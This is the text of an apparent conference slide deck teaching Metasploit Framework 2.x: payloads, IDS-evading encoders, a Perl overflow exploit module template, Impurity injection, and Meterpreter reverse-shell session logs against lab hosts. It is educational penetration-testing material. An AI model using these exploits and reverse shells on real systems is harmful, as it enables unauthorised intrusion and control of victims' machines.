Metasploit Deux intropy What we did last

Metasploit Deux ~~intropy~~

What we did last time Covered some basics msfconsole msfcli Environment variables Locale context variables (set) Global context variables (setg) Saving variables Showed some exploits MS-04 -011 Samba_trans 2 open Launched a few failed demos VNC demo Reverse Connect demo

What has changed since New version 2. 4 New msfweb interface with improved handling Updated exploits for more reliable exploitation 33 New exploits (Including 2. 3) Aim_goaway iis_w 3 who_overflow solaris_dtspcd_noir wins_ms 04_045 Sun. RPC and XDR Perl API General Payload improvements Passive. X payload Loads arbitrary Active. X through Internet Explorer Loads the stage 2 payload over HTTP Interact with cmd. exe, VNC, Meterpreter over HTTP

What we will cover The framework in general Directory structure Encoders Generators Payloads Modules Impurity Meterpreter

General Frameworkery Getting your feet wet

What is the Framework? The Metasploit project decided to create a development framework for exploits. An environment for interested parties to quickly and easily develop code. On the surface it contains a handful of exploits that you can launch against a box and potentially own it. But under the hood it has a massive amount of flexability and technology that allows you to effectively build a real working exploit for your own purposes.

What the Framework isnt The Framework is not an attack tool developed for joe hacker to compromise NASA, but as a general interface for testing and writing exploits. If you think this will make you a l 33 t h 4 ck 3 r please pull your head out of your ass.

Coporate equivalents Currently there are 2 competing companies developing “Penetration testing tools/suites” Immunity Security (Dave Aitel) CANVAS Written in Python Tinkering and expanding is encouraged Smart system call proxying Costs around $1, 300 CORE Security Technologies IMPACT Comprehensive automated penetration Several exploits Detailed reporting Fully automated penetration testing Costs around $10, 000 (IIRC)

Installing the Framework On UNIX To install the Framework on your UNIX machine simply download the latest release to a working directory. Extract the tarball and change into the created directory (framework-2. 3/). Since it is written in PERL you should be able to simply execute the UI of your choice. It is recommended to also install the supporting PERL modules from $MSFDIR/extras. These allow command completion and SSL support. To install to a system wide location copy the entire tree to a directory (/usr/local/msf) and create symlinks from the msf* applications to a system wide binary path like /usr/local/bin. User created modules can be place in their home directory but need to reside under the ~/. msf directory. On Windows A downloadable installer utilizing Cygwin is provided on the Metasploit site. This installer is a stipped down version of Cygwin and includes everything you need to act like its UNIX counterpart

The Framework directory structure

. /data The data directory countains supporting data for some of the Framework function. meterpreter/ - msfweb/ - shelldemo - vncdll. dll - Supporting files for the meterpreter Supporting files for the msfweb user interface A shelldemo for meterpreter The VNC dll for use with the VNC payload

. /docs The docs directory contains several documents about the Framework. The Environment reference and Quickstart guides are particularly useful. Environment. txt - meterpreter. pdf QUICKSTART. impurity QUICKSTART. msfcli - QUICKSTART. msfconsole QUICKSTART. msfweb - RELEASE_2. 3. txt SECURITY userguide. pdf - Environment variable reference text Meterpreter user guide Impurity quickstart guide Metasploit command line interface quickstart guide Metasploit console interface quick start guide Metasploit web interface quickstart guide Framework 2. 3 release notes Using the Framework securely Framework user guide

. /exploits This directory contains the actual modules that constitute an exploit the Framework can use. A couple of the entries are listed below 3 com_3 cdaemon_ftp_overflow. pm afp_loginext. pm aim_goaway. pm apache_chunked_win 32. pm arkeia_agent_access. pm arkeia_type 77_macos. pm arkeia_type 77_win 32. pm wins_ms 04_045. pm

. /extras The extras directory contains two PERL modules which enable SSL and command completion/history respectively. If you use the msfconsole installing these is highly recommended. Net_SSLeay. pm-1. 23. tar. gz PERL SSL module which enables the SSL option in an exploit module Term-Read. Line-Gnu-1. 14. tar. gz PERL Read. Line module which enables command completion of all the options in the msfconsole. Installing this is almost a must.

. /lib The lib directory contains several PERL modules that aide in creation of exploits. Several of these are required in all Framework exploits while others are helper modules for exploitation like DCERPC. pm Digest/ - Msf/ - Net. Packet/ Net. Packet. pm Pex/ Pex. pm - Contains the MD 5. pm module for computing the digest Base Framework modules for working with the various aspects of the environment Network helpers like TCP/UDP/ICMP Net. Packet base class Contains lots of neat modules for use in the exploit modules like MSSQL/DCERPC/SMB classes Pex base class

. /encoders All encoders available in your exploits can be found here. Alpha 2. pm Countdown. pm Jmp. Call. Additive. pm None. pm OSXPPCLong. XORTag. pm Pex. Alpha. Num. pm - Pex. Fnstenv. Mov. pm Pex. Fnstenv. Sub. pm Pex. pm Quack. pm Shikata. Ga. Nai. pm Sparc. pm - An alphanumeric encoder XOR countdown encoder Additive XOR encoder No encoder Long XOR PPC encoder XOR Tag PPC encoder Another alphanumeric encoder Fnstenv Mov encoder Fnstenv. Sub encoder XOR encoder PPC Dword encoder Key based encoder Sparc XOR encoder

. /nops A NOP is a “No Operation” in the x 86 architecture. This directory contains several PERL modules designed for generating NOPs on several platforms and architectures Alpha. pm MIPS. pm Opty. pm - Pex. pm PPC. pm SPARC. pm - Generates alpha nops Generates nops on MIPS Variable instruction length nop generator The Pex libraries nops Nops for the PPC architecture Sparc nops

. /payloads This directory contains the actual PERL modules that generate and handle payload creation in your exploit and the framework. A few are listed below. bsd_ia 32_bind_ie. pm bsd_ia 32_bind_stg. pm bsd_ia 32_exec. pm cmd_interact. pm cmd_irix_bind. pm cmd_sol_bind. pm cmd_unix_reverse_bash. pm win 32_bind_vncinject. pm win 32_reverse_meterpreter. pm

. /sdk The sdk directory was created to help in understanding the method of exploit development in the Framework. The docs directory contains a few example exploits and reference texts. docs/ exploit. Reference. txt - exploit. Tutorial. txt svnserve_date. pm vuln 1_1. pm vuln 1_2. pm vuln 1_3. pm vuln 1. c vuln 1_osx. pm - format. Gen. pl pattern. Offset. pl - spit. Code. pl - A reference on the available functions and declarations A tutorial outlining and detailing exploit creation A commented real world Framework exploit An example that goes with the tutorial An example vulnerable program written in c An example that goes with the tutorial for osx Format string overwrite generator Finds a pattern in memory and dumps offset/addr Utility to extract things from code

. /src The src directory contains all the source code for the meterpreter, VNC, and other shellcodes used in the Framework. If you are looking for some reference on the asm in the shellcode this is a good place to look. Also if you are looking for a good reference on dll injecting the VNC source is here as a guide. meterpreter/ - shellcode/ - Source for the meterpreter binaries Source to all the shellcode used in the Framework including the VNC dll’s

. /tools The tools directory includes some helper applications for exploit research and development. memdump. c - Source code for memdump. exe Dumps the memory of a running process README. memdump README for memdump README. socket. Ninja README for socket. Ninja. pl socket. Ninja creates a listener and handler for all incoming socket connections. This can be used if you are exploiting multiple hosts to manage your shells

NOP Generators The chips and salsa

What they are NOPs are “No Operations”. Effectively this means an instruction that doesn’t do anything. NOPs are usually created for timing. However in an exploit these can be leveraged to help the target computer get to our payload.

What they do As stated before they don’t do anything. However in exploit development they allow the attacker to guess at the return address of the crashing program. This provides more reliability when exploiting programs

What is the point The point is to get our target to execute our code. To make it execute our code we use a no operation so we do not have to be exact in our code. By allowing us some flexibility in our exploit we can target several platforms regardless of minor stack changes [0 xbfffed 80][x 90x 90][payload]

What the Framework provides As we saw in the. /nops directory the Framework provides countless number of NOPs for use in an exploit. Each architecture has a different method of achieving a no operation and often times (as in x 86) there are 50+ different NOPs. Since many IDS systems watch for the typical 0 x 90 instruction using different combinations make pattern matching detection harder for anyone watching.

Payloads If this was dinner payloads are the steak

What they are A payload is our meat. The code or command we want a target to execute on our behalf. Payloads use to be referred to as shellcode which is a little misleading as it is not always a shell you are executing

What they do Payloads do whatever we want. This can be a program that connects to our host giving us a shell. This can also be a command like ‘useradd intropy’. When we exploit a program the payload will be the new task running once we control execution

What is the point The fucking point is to run your own code instead of the intended code. No one wants a foreign intruder to have the capability of doing this and that is the point. Our payload (aka code) runs when the program has been exploited and control is in our hands.

What does the Framework provide Probably one of the greatest benefits of the Framework is the number of payloads available. The list is comprehensive and reliable. We have all the control we want from a simple port bind on Linux. To your own program being uploaded through a secure socket and run. This gives the exploiter many options. For instance if you are exploiting a host behind a firewall that allows outbound traffic the reverse connect back shell would call out to you for control…how’s that for service.

Encoders Putting your food in a to-go box

What they are An encoder scrambles our NOPs and payloads. There are several methods well documented on different encoding but effectively this hides our exploit from prying eyes

What they do Most encoders use an algorithm to change parts of the payload. This algorithm often times includes a decoder so that when the payload reaches its target the machine can understand what it really needs to do after it runs the decoder

What is the point Modern IDS system will watch traffic on a network. When it spots traffic with a known attack signature it will alert its owner. With an encoder we can hinder this by scrambling the data with an encoder effectively making this look like normal traffic or garbage.

How do you stop them Most people try and stop the encoder by keying off the method used. For instance a well known type of encoding was developed by K 2 of ADM in his program ADMmutate. This effectively changed the payload of the exploit each time it was ran. Instead of looking for a static string to match on, the morphed NOP sled and payloads are checked against the encoding method/algorithm.

What the Framework provides Several encoders are included with the Framework. Just like payloads they are mostly available to all exploits. Encoders which can convert payload to plain ASCII and XOR based off a key are fairly useful.

Creating a Module Adding your own exploit

What is a module? A module for all intents and purposes is an exploit. The framework uses the PERL module system to define and access needed information. Your exploit will in fact be a working PERL module. We define methods and variables, or call external functions in a easy, well documented way.

What is required? A few things are needed by every new module/exploit. One of the most important is the package declaration. package Msf: : Exploit: : my_new_sploit; This tells the UI to load the module and all methods upon execution. Be aware that your exploit name, package, and file need to all match exactly or the Framework will not find it. Next we define some base classes and helper modules use base ‘Msf: : Exploit’; use Msf: : Socket: : Tcp; use Pex: : Text;

Cont… Lets move on to some required variables. my $advanced = { }; The advanced hash allows us to define advanced features we may want to use in our modules. Some of the options include Stack. Top Stack. Bottom Ignore. Errors - Top address of a brute force Bottom address of a brute force Ignore module errors By declaring advanced features we can allow the person using this module to make changes as they see fit. Someone might want to ignore errors and this allows them to in the UI.

Cont… Moving right along, we have the info hash. This variable is required for defining information characteristics of your module. Below is an example. my $info = { ‘Name’ ‘Version’ ‘Authors’ ‘Arch’ ‘OS’ ‘Priv’ => => => ‘Name of your Exploit’, ‘Module version info’, [ ‘intropy caughq. org’, ], [ ‘x 86’ ], [ ‘linux’, ], 1,

Cont… ‘User. Opts’ => { ‘RHOST’ => [1, ‘ADDR’, ‘the target’, ‘ 127. 0. 0. 1’], ‘RPORT’ => [1, ‘PORT’, ‘the target port’, 214], }, ‘Payload’ => { ‘Space’ => 2000, ‘Bad. Chars’ => “”, ‘Min. Nops’ => 16, } ‘Description’ => Pex: : Text: : Freeform(qq{ This is a description of our exploit/module. }), ‘Refs’ => [ ‘http: //caughq. org’ ], ‘Targets’ => [ ‘Linux’, 0 xbfffffff ], } Here we define some options for the user to control like target addr and port. We also set up our payload, give a description to the module, some references and a target to go after.

Cont… I will put these two methods, new and Exploit, below for reference as we will cover them in the demo. sub new { my $class = shift; my $self = $class->SUPER: : new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target. Host = $self->Get. Var('RHOST'); my $target. Port = $self->Get. Var('RPORT'); my $target. Index = $self->Get. Var('TARGET'); my $target = $self->Targets->[$target. Index]; my $ret = $target->[1]; my $encoded. Payload = $self->Get. Var('Encoded. Payload'); my $shellcode = $encoded. Payload->Payload;

Cont… my $sock = Msf: : Socket: : Tcp->new( 'Peer. Addr' => $target. Host, 'Peer. Port' => $target. Port, ); if($sock->Is. Error) { $self->Print. Line('Error creating socket: '. $sock->Get. Error); return; } my $evil = 'A' x $self->Get. Local('Pre. Ret. Length'); $evil. = pack('V', $ret) x int($self->Get. Local('Ret. Length') / 4); $evil. = $shellcode; $sock->Send($evil); return; }

Bruteforce The Framework provides a very clear way to allow your modules to bruteforce return values. In the advanced options we define a few variables we looked at previously. my $advanced = { # Where to start brute forcing 'Stack. Top' => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'], # Where to stop brute forcing 'Stack. Bottom' => ['', 'End address for stack ret bruteforcing, empty for defaults from target'], # The increment used during brute forcing, auto calculation is important! 'Stack. Step' => [0, 'Step size for ret bruteforcing, 0 for auto calculation. '], # How long to wait in between brute force attempts, good to give things a # chance to clean up, and also give the handlers a chance to process a # possible connection. 'Brute. Wait' => [. 4, 'Length in seconds to wait between brute force attempts'], # An exploit vector value, probably not going to be changed 'Ret. Length' => [100, 'Length of rets after payload'], # Allow the user to continue on fail 'Ignore. Errors' => [0, 'Keep going even after critical errors. '], };

Brutforce cont… By providing a good interface to bruteforcing, it gives us a good way to make unreliable exploits more reliable. As you can gather from the added advanced options we can then loop in our module code starting at the Stack. Top and going until we hit Stack. Bottom stepping accordingly.

Installing for use Because of the way modules are loaded we must move our new exploit/module into the $MSFDIR/exploits/ directory. That’s it. Now when you run the msfconsole you will see your exploit in the list. [root@redhat 9 framework-2. 3]# ls -la exploits/dc 214_snomad. pm -rw-r--r-- 1 root 3354 Apr 26 04: 03 exploits/dc 214_snomad. pm [root@redhat 9 framework-2. 3]#. /msfcli dc 214_snomad S Name: dc 214 exploit of the snomad server Version: $Revision: 1. 1 $ Target OS: linux Keywords: dc 214 Privileged: Yes Description: This exploits the demo server used in snomads presentation on exploit development given in Feb. References: http: //www. caughq. org http: //www. nmrc. org

Launching in msfconsole Just like the other exploits there are required parameters we defined in the creation of the module. First we will select the module, then fill out requirements, and of course launch the exploit. msf > use dc 214_snomad msf dc 214_snomad > set RHOST 127. 0. 0. 1 RHOST -> 127. 0. 0. 1 msf dc 214_snomad > set TARGET 0 TARGET -> 0 msf dc 214_snomad > set PAYLOAD linux_ia 32_bind PAYLOAD -> linux_ia 32_bind msf dc 214_snomad(linux_ia 32_bind) > show options Exploit and Payload Options ============== Exploit: Name Default Description -------------required RHOST 127. 0. 0. 1 The target address required RPORT 214 The target port Payload: Name Default Description ------- --------------required LPORT 4444 Listening port for bind shell Target: Red Hat 8 msf dc 214_snomad(linux_ia 32_bind) > exploit [*] Starting Bind Handler.

*D-D-D-Demo* Creating and launching our custom exploit

Impurity Sounds good to me

What is Impurity? Impurity is an injection technique developed by Alexander Cuttergo. The technique is a method of inserting code into the memory of a running process.

What is theory By statically linking and mapping a process into the exploited applications memory area we can effectively write a program in c without all the fuss of turning it into shellcode. Now this is achieved in two steps (called stages). The first part is exploiting a process with the linux_ia 32_reverse_impurity payload. This contains the necissary assembly code to handle the loading of our program. Once the target process has been exploited and the first stage payload ran it connects back and injects the second stage (aka our impurity compiled program). This may seem like a lot of work but the Framework makes it very simple and straight forward.

What is the potential Well imagine being able to write any code you want in C and using it as a payload. Now imagine you can download something you like off the net and have it run as a payload. If that sounds fancy then you have realized some of the potential of using Impurity payloads.

Impurity Caveats During my brief use of Impurity and payloads I found a couple caveats. The biggest was malloc() failing. Any call to allocate memory exited from my program. There could be several reasons why but changing everything to static buffers fixed it. Be aware of things like this when debugging your Impurity binary. Also remember to keep things as simple as possible since you will potentially be executing your code In a hostile memory block.

How is it used in the Framework The Framework tries to make it as simple as possible to compile and use a program with Impurity. First we would need to write a program, for this example I made a hello world type application. Be aware however that we will be compiling this with diet-libc and thus do not have all the functionality of glibc. To compile this we copy the source to the Impurity directory and edit the make file. Once we complete that typing ‘make’ compiles the source and links it with the Impurity library.

Cont… Heres those steps… [root@redhat 8 /]# cd /root/metasploit/framework-2. 3/src/shellcode/linux/impurity [root@redhat 8 impurity]# cat hello_dc 214. c main() { printf("nn. Hello dc 214nn"); } [root@redhat 8 impurity]# grep dc 214 Makefile all: shelldemo tracepath CAU-term CAU-sniffer hello_dc 214: hello_dc 214. c diet gcc -Wl, -T, script-ld-impurity -o hello_dc 214. c -s -static /sbin/chpax -m hello_dc 214 >/dev/null 2>&1 || true [root@redhat 8 impurity]# make diet gcc -Wl, -T, script-ld-impurity -o hello_dc 214. c -s -static /sbin/chpax -m hello_dc 214 >/dev/null 2>&1 || true [root@redhat 8 impurity]#

Using it in an exploit Ok so now we have a binary ready for world domin^]^]in an exploit. This starts the same as using a regular payload except youll notice the PEXEC option. Yes that is where we put our newly compiled program including the full path. Once that’s changed its all easy sailing. msf samba_trans 2 open(linux_ia 32_reverse_impurity) > set PEXEC /root/metasploit/framework 2. 3/src/shellcode/linux/impurity/hello_dc 214 PEXEC -> /root/metasploit/framework-2. 3/src/shellcode/linux/impurity/hello_dc 214 msf samba_trans 2 open(linux_ia 32_reverse_impurity) > exploit [*] Starting Reverse Handler. [*] Starting bruteforce mode for target Linux x 86 [*] Trying return address 0 xbffff 1 fc. . . [*] Got connection from 192. 168. 11. 3: 4321 <-> 192. 168. 11. 3: 32781 [*] Sleeping before sending impurity data. [*] Uploading impurity data (6832), Please wait. . . [*] Executing impurity data. Hello dc 214 [*] Exiting Reverse Handler. msf samba_trans 2 open(linux_ia 32_reverse_impurity) >

* D-D-D-Demo * The Impurities of CAU

Meterpreter Goodness incarnate

What is the meterpreter The Meterpreter is short for The Meta. Interpreter. It is an extendable platform for creating a post attack way to implement complex features you wouldn’t want to do in assembly. Think a hackers ‘cmd. exe’. However it is not just limited to the built in command functions. You can create your own modules to use on the target system. Also the meterpreter operates inside the target process. Meaning upon examination a system will not see it run. Unlike executing cmd. exe inside shellcode.

Cont… The Meterpreter works in a client <-> server configuration. Where the server mearly acts as a communication and loading mechanism for your dastardly deads. A protocol is designed to handle this communication and can be referenced in the user guide. The extensions can either be for client or server usage and support any language that can create a shared object (DLL) and support the cdecl calling convention*

Why do I want this Why wouldn’t you want this? The Meterpreter allows you great flexability post exploitation. You can use the included extensions to do various tasks or write your own DLL to use on the target system. With that said the Meterpreter also uses a technique for remotely injecting the libraries into memory hiding your activity.

What is the potential Endless. The Meterpreter packaged with the Framework has a wealth of extensions included. For instance, one of the extensions, Fs, allows for uploading and downloading files to and from the remote machine. However delving into the custom extensions (DLL) lies endless possibilities.

How is this used in the Framework Simply. The Framework provides a payload the loads the Meterpreter into the target process creating the server portion. Once that is complete it creates a client instance for your control. The mentioned client/server implementation seems transparent when used inside the Framework but needs to be considered when doing complex tasks.

What does it come with A number of extensions are included with the Framework that provide other potentially useful commands. The source code of these extensions is included as an example and can easily be modified for other uses. The following extensions are currently included: Fs Provides interaction with the filesystem on the remote machine. Net Provides interaction with the network stack on the remote machine. Process Provides interaction with processes on the remote machine. Sys Provides interaction with the environment on the remote machine.

Using it in an exploit As with everything else using this is as simple as making it the payload. The needed options for setting up the payload should be automatically set (Except the LHOST). After exploitation you can use the built in help command the Meterpreter provides to further your investigation. msf msrpc_dcom_ms 03_026 > set PAYLOAD win 32_reverse_meterpreter msf msrpc_dcom_ms 03_026(win 32_reverse_meterpreter) > show options required METDLL /root/metasploit/framework-2. 3/data/meterpreter/metsrv. dll The full path the meterpreter server dll msf msrpc_dcom_ms 03_026(win 32_reverse_meterpreter) > exploit [*] Starting Reverse Handler. [*] Connected to REMACT with group ID 0 x 1 db 38 [*] Got connection from 192. 168. 11. 3: 4321 <-> 192. 168. 11. 2: 1032 [*] Sending Stage (2834 bytes) [*] Sleeping before sending dll. [*] Uploading dll to memory (69643), Please wait. . . [*] Upload completed meterpreter> [ -= connected to =- ] [ -= meterpreter server =- ] [ -= v. 00000500 =- ] meterpreter> help

Cont… meterpreter> use -m Process loadlib: Loading library from 'ext 225759. dll' on the remote machine. loadlib: success. meterpreter> help Process manipulation and execution commands ---------------execute Executes a process on the remote endpoint kill Terminate one or more processes on the remote endpoint ps List processes on the remote endpoint meterpreter> execute -f cmd -c execute: Executing 'cmd'. . . execute: success, process id is 536. execute: allocated channel 2 for new process. meterpreter> interact 2 interact: Switching to interactive console on 2. . . interact: Started interactive channel 2. Microsoft Windows 2000 [Version 5. 00. 2195] (C) Copyright 1985 -2000 Microsoft Corp. C: WINNTsystem 32>

* D-D-D-Demo * Multi host proxy attacks

Metasploit 3. 0 Greater focus. Not just about exploits and payloads. Embedded for use in other applications Staged payloads becoming the norm “Pivoting” though hosts like commercial tools Designed for threads Strong support for automation Test suites Ability to test defensive infrastructures

Metasploit 3. 0 Cont… The word is the next gen of the Framework will be written in Ruby. Clean and simple language that is easy to learn Strong object model Decent library support Builds natively on Win 32 2. x will stay Perl and continue in parallel

* VNC Injection Demo * Because odds are this time it works

Conclusion The Framework is not just a script kiddie attack tool. A lot has gone into giving a developer/researcher the opportunity to create exploits easily and powerfully. However, the advanced features really give the Framework teeth and solidify it as a viable strong penetration testing tool.

References http: //www. immunitysec. com/downloads/Immunity_CANVAS. pdf http: //www 1. corest. com/products/coreimpact/index. php http: //www. metasploit. com/projects/Framework/docs/Change. Log http: //www 1. corest. com/products/coreimpact/index. php http: //www. sans. org/resources/idfaq/polymorphic_shell. php http: //www. metasploit. com/projects/Framework/documentation. html #exploit. Tutorial http: //archives. neohapsis. com/archives/vuln-dev/2003 -q 4/0006. html http: //www. metasploit. com/projects/Framework/docs/meterpreter. pd f http: //www. metasploit. com/confs/core 05_metasploit. pdf

Questions?

easy…